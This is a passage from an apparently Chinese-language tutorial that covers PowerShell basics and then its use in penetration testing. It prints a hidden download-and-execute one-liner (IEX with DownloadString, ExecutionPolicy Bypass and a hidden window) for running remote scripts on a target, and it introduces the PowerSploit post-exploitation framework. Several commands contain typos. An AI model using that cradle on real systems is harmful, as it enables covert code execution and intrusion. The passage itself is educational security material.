powershell需要.NET环境的支持,同时支持.NET对象,其可读性易用性居所有shell之首。
输入Get-Host 或者 $PSVersionTable.PSVERSION 查看powershell的版本
PS C:\Users\DELL> Get-Host Name : ConsoleHost Version : 5.1.18362.1171 InstanceId : a9795f0c-814a-4e0e-95ea-b29b3a2fbbfc UI : System.Management.Automation.Internal.Host.InternalHostUserInterface CurrentCulture : zh-CN CurrentUICulture : zh-CN PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy DebuggerEnabled : True IsRunspacePushed : False Runspace : System.Management.Automation.Runspaces.LocalRunspace PS C:\Users\DELL> $PSVersionTable.PSVERSION Major Minor Build Revision ----- ----- ----- -------- 5 1 18362 1171
一个powershell脚本其实是一个简单的文本文件,其扩展名为 .ps1 。每个脚本文件包含一系列的powershell命令,每个命令显示为独立的一行。
为了防止使用者运行恶意脚本,powershell提供了一个执行策略。在默认情况下,这个 策略被设置为不能运行。如果脚本不能运行可以执行下面的命令查询当前的执行策略
Get-ExwcutionPolicy
Restrcted 脚本不能运行(默认设置)
RemoteSigned 在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书的签名的除外)
AllSigned 仅当脚本由受信任的发布者签名时才能运行
Unrestricted 允许所有脚本运行
可用下面的cmdlet命令设置powershell的执行策略
Set-ExecutionPolicy <policy name>
必须输入完整的路径和文件名
将一个命令的输出作为另一个命令的输入
get-process p* | stop-process
新建目录
New-Item test -type Directory
新建文件
New-Item test.txt -type File
删除目录或文件
Remove-Item test
显示文本内容
get-content test.txt
设置文本内容
set-content 1.txt -value "hell,word!"
追加内容
Add-Content 1.txt -Value "i love you"
清除内容
Clear-Content test.txt
上传test.psl至目标服务器,在CMD环境下,在目标服务器本地执行该脚本。
powerShell.exe -Executionpolicy Bypass -File test.psl
从远程服务器下载脚本,绕过本地权限并隐藏执行
powerShell.exe -Executionpolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.webClient).DownloadString("test.psl");[Parameters]
一款基于powershell的后渗透框架软件,包含很多power shell攻击脚本。主要用于信息侦察、权限维持、权限提升
Kali Linux 系统内置了 Powersploit,安装在 /usr/share/windows-resources/powersploit
目录下,可以通过 ls
命令看到各种脚本类型
┌──(root